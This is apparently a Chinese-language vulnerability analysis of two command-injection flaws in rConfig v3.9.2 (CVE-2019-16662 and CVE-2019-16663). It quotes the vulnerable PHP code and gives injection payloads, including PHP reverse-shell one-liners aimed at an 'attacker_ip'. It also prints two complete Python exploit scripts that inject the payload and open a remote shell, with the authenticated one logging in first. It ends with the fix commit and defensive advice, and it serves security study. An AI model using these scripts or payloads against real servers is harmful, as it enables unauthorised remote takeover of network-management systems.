rConfig v3.9.2 授权认证与未授权RCE (CVE-2019-16663) 、(CVE-2019-16662)
字数 884 2025-08-26 22:11:34
rConfig v3.9.2 授权认证与未授权RCE漏洞分析 (CVE-2019-16663, CVE-2019-16662)
1. 漏洞概述
rConfig是一个开源网络设备配置管理工具,用于网络工程师管理网络设备配置。在v3.9.2版本中存在两个远程代码执行漏洞:
- CVE-2019-16662 - 未授权远程代码执行漏洞
- CVE-2019-16663 - 需要认证的远程代码执行漏洞
2. 漏洞分析
2.1 未授权RCE (CVE-2019-16662)
漏洞文件: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php
漏洞代码分析:
$rootUname = $_GET['rootUname']; // 第2行,直接获取GET参数
...
$rootTestCmd1 = 'uname -a | grep ' . $rootUname; // 第12行,拼接命令
exec($rootTestCmd1, $output, $return); // 第13行,执行命令
漏洞原理:
- 攻击者可以通过
rootUname参数注入任意命令 - 由于参数未经过滤直接拼接进系统命令并执行,导致RCE
利用方法:
使用以下Payload格式:
;your command #
例如:
;id #
反弹shell Payload:
;php -r '$sock=fsockopen("attacker_ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' #
2.2 需要认证的RCE (CVE-2019-16663)
漏洞文件: /lib/crud/search.crud.php
漏洞代码分析:
if (!empty($_GET['searchTerm'])) { // 第25行,检查searchTerm参数
...
$command = 'cat ' . $catLoc . ' | grep -i "' . $searchTerm . '" | head -' . $maxLines; // 第61行,拼接命令
exec($command, $output, $return); // 第63行,执行命令
}
漏洞原理:
- 需要发送包含
searchTerm参数的GET请求 - 通过
catCommand参数注入命令 - 命令拼接后未经充分过滤即执行
利用方法:
使用以下Payload格式:
""&&$(your command)#
例如测试Payload:
""&&$(sleep 5)#
反弹shell Payload:
""&&php -r '$sock=fsockopen("attacker_ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'#
## 3. 漏洞利用工具
### 3.1 未授权RCE利用脚本
```python
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# CVE : CVE-2019-16662
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
requests.get(url_to_send, verify=False)
3.2 需要认证的RCE利用脚本
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# CVE : CVE-2019-16663
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
4. 漏洞修复
开发者已在后续版本中修复了这些漏洞,修复方式包括:
- 对用户输入进行严格过滤
- 使用安全的命令执行方式
- 添加必要的身份验证检查
修复提交可见于:
https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
5. 防御建议
- 升级到最新版本的rConfig
- 对用户输入进行严格过滤和验证
- 避免直接将用户输入拼接到系统命令中
- 使用最小权限原则运行应用程序
- 部署Web应用防火墙(WAF)规则来拦截可疑的命令注入尝试